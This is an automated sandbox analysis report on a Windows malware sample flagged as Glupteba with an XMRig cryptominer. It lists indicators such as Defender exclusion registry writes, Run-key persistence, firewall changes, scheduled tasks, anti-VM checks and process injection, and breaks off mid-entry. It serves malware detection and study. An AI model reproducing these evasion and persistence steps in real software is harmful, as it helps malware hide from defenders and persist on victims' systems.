Analysis
-
max time kernel
268s -
max time network
301s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
18-04-2024 22:29
Static task
static1
Behavioral task
behavioral1
Sample
2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe
Resource
win7-20240221-en
General
-
Target
2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe
-
Size
4.2MB
-
MD5
0a9f44485b56be821f21310135743978
-
SHA1
b471efc652f4087882bf3c379f4aa0c9980959ff
-
SHA256
2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2
-
SHA512
20332afa232b38bab775bafb573449859bf6addc96b1db373de6a514af1601cfd49c62e38d53cbae6fdd50fa437125b74ce70e6e6bfff3400760743270761918
-
SSDEEP
98304:+CaftNj+u7KNRVHR2Q7UufYl81Mzh66Z5kbRiBHB9arql/J:WtBzONTNQxJkbRihjx
Malware Config
Signatures
-
Glupteba payload 38 IoCs
Processes:
resource yara_rule behavioral2/memory/2280-2-0x00000000051A0000-0x0000000005A8B000-memory.dmp family_glupteba behavioral2/memory/2280-3-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2280-300-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2280-302-0x00000000051A0000-0x0000000005A8B000-memory.dmp family_glupteba behavioral2/memory/2668-306-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2668-797-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2668-1036-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1042-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1773-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1782-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1784-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1786-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1788-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1790-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1792-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1794-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1796-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1798-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1800-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1802-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1804-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1806-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1808-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1810-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1812-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1814-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1816-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1818-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1820-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1822-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1824-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1826-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-1852-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-2293-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-2450-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/4964-2458-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/4964-2535-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2628-2541-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba -
Processes:
2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe family_xmrig C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe xmrig -
Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid process 1004 netsh.exe -
Executes dropped EXE 7 IoCs
Processes:
csrss.exeinjector.exewindefender.exewindefender.exedcb505dc2b9d8aac05f4ca0727f5eadb.exewup.execsrss.exepid process 2628 csrss.exe 3668 injector.exe 5048 windefender.exe 2376 windefender.exe 4432 dcb505dc2b9d8aac05f4ca0727f5eadb.exe 4992 wup.exe 4964 csrss.exe -
Processes:
resource yara_rule C:\Windows\windefender.exe upx behavioral2/memory/5048-1781-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/2376-1783-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/2376-1787-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/2376-1793-0x0000000000400000-0x00000000008DF000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe upx behavioral2/memory/4432-2123-0x0000000000400000-0x00000000008E1000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe upx C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe upx -
Processes:
2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (str) \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 8 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe -
Drops file in Windows directory 4 IoCs
Processes:
2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.execsrss.exedescription ioc process File created C:\Windows\rss\csrss.exe 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\rss 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exepid process 5016 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2196 schtasks.exe 784 schtasks.exe -
GoLang User-Agent 3 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 45 Go-http-client/1.1 HTTP User-Agent header 46 Go-http-client/1.1 HTTP User-Agent header 50 Go-http-client/1.1 -
Modifies data under HKEY_USERS 64 IoCs
Processes:
2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exepowershell.exewindefender.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-242 = "Samoa Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-672 = "AUS Eastern Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-561 = "SE Asia Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-41 = "E. South America Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-511 = "Central Asia Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-334 = "Jordan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1042 = "Ulaanbaatar Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1722 = "Libya Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1472 = "Magadan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-541 = "Myanmar Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2571 = "Turks and Caicos Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2512 = "Lord Howe Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2061 = "North Korea Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-962 = "Paraguay Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1412 = "Syria Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-384 = "Namibia Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2531 = "Chatham Islands Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-692 = "Tasmania Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" windefender.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exe2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exepowershell.exe2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeinjector.execsrss.exepid process 596 powershell.exe 596 powershell.exe 596 powershell.exe 2280 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 2280 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 4768 powershell.exe 4768 powershell.exe 4768 powershell.exe 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe 980 powershell.exe 980 powershell.exe 980 powershell.exe 780 powershell.exe 780 powershell.exe 780 powershell.exe 2324 powershell.exe 2324 powershell.exe 2324 powershell.exe 2376 powershell.exe 2376 powershell.exe 2376 powershell.exe 3104 powershell.exe 3104 powershell.exe 3104 powershell.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 2628 csrss.exe 2628 csrss.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 2628 csrss.exe 2628 csrss.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 2628 csrss.exe 2628 csrss.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe 3668 injector.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
Processes:
powershell.exe2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exesc.exepowershell.exepowershell.exewup.exedescription pid process Token: SeDebugPrivilege 596 powershell.exe Token: SeDebugPrivilege 2280 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Token: SeImpersonatePrivilege 2280 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe Token: SeDebugPrivilege 4768 powershell.exe Token: SeDebugPrivilege 980 powershell.exe Token: SeDebugPrivilege 780 powershell.exe Token: SeDebugPrivilege 2324 powershell.exe Token: SeDebugPrivilege 2376 powershell.exe Token: SeDebugPrivilege 3104 powershell.exe Token: SeSystemEnvironmentPrivilege 2628 csrss.exe Token: SeSecurityPrivilege 5016 sc.exe Token: SeSecurityPrivilege 5016 sc.exe Token: SeDebugPrivilege 3156 powershell.exe Token: SeDebugPrivilege 4932 powershell.exe Token: SeLockMemoryPrivilege 4992 wup.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
wup.exepid process 4992 wup.exe -
Suspicious use of WriteProcessMemory 50 IoCs
Processes:
2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.execmd.execsrss.exewindefender.execmd.exedcb505dc2b9d8aac05f4ca0727f5eadb.exedescription pid process target process PID 2280 wrote to memory of 596 2280 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2280 wrote to memory of 596 2280 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2280 wrote to memory of 596 2280 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2668 wrote to memory of 4768 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2668 wrote to memory of 4768 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2668 wrote to memory of 4768 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2668 wrote to memory of 3968 2668 